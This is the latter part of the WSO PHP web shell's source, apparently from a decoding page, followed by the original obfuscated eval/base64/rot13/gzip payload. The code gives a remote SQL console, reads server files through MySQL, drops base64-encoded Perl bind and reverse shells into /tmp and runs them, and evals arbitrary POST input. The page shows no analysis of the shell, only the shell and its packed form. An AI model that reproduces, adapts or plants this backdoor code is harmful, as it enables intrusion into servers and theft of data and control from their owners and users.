						if($_POST['p3'] < $pages)
							echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
						$_POST['p3']--;
						if($_POST['type']=='pgsql')
							$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
						else
							$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
						echo "<br><br>";
					}
					if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
						$db->query(@$_POST['p2']);
						if($db->res !== false) {
							$title = false;
							echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
							$line = 1;
							while($item = $db->fetch())	{
								if(!$title)	{
									echo '<tr>';
									foreach($item as $key => $value)
										echo '<th>'.$key.'</th>';
									reset($item);
									$title=true;
									echo '</tr><tr>';
									$line = 2;
								}
								echo '<tr class="l'.$line.'">';
								$line = $line==1?2:1;
								foreach($item as $key => $value) {
									if($value == null)
										echo '<td><i>null</i></td>';
									else
										echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
								}
								echo '</tr>';
							}
							echo '</table>';
						} else {
							echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
						}
					}
					echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
					if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
						echo htmlspecialchars($_POST['p2']);
					echo "</textarea><br/><input type=submit value='Execute'>";
					echo "</td></tr>";
				}
				echo "</table></form><br/>";
				if($_POST['type']=='mysql') {
					$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
					if($db->fetch())
						echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
				}
				if(@$_POST['p1'] == 'loadfile') {
					$file = $db->loadFile($_POST['p2']);
					echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
				}
		} else {
			echo htmlspecialchars($db->error());
		}
		echo '</div>';
		wsoFooter();
	}
	function actionNetwork() {
		wsoHeader();
		$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
		$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
		echo "<h1>Network tools</h1><div class=content>
		<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
		<span>Bind port to /bin/sh [perl]</span><br/>
		Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
		</form>
		<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
		<span>Back-connect  [perl]</span><br/>
		Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
		</form><br>";
		if(isset($_POST['p1'])) {
			function cf($f,$t) {
				$w = @fopen($f,"w") or @function_exists('file_put_contents');
				if($w){
					@fwrite($w,base64_decode($t));
					@fclose($w);
				}
			}
			if($_POST['p1'] == 'bpp') {
				cf("/tmp/bp.pl",$bind_port_p);
				$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
				sleep(1);
				echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
				unlink("/tmp/bp.pl");
			}
			if($_POST['p1'] == 'bcp') {
				cf("/tmp/bc.pl",$back_connect_p);
				$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
				sleep(1);
				echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
				unlink("/tmp/bc.pl");
			}
		}
		echo '</div>';
		wsoFooter();
	}
	function actionRC() {
		if(!@$_POST['p1']) {
			$a = array(
				"uname" => php_uname(),
				"php_version" => phpversion(),
				"wso_version" => WSO_VERSION,
				"safemode" => @ini_get('safe_mode')
			);
			echo serialize($a);
		} else {
			eval($_POST['p1']);
		}
	}
	if( empty($_POST['a']) )
		if(isset($default_action) && function_exists('action' . $default_action))
			$_POST['a'] = $default_action;
		else
			$_POST['a'] = 'SecInfo';
	if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
		call_user_func('action' . $_POST['a']);
	exit;

Did this file decode correctly?

Original Code

eval(gzuncompress(str_rot13(base64_decode('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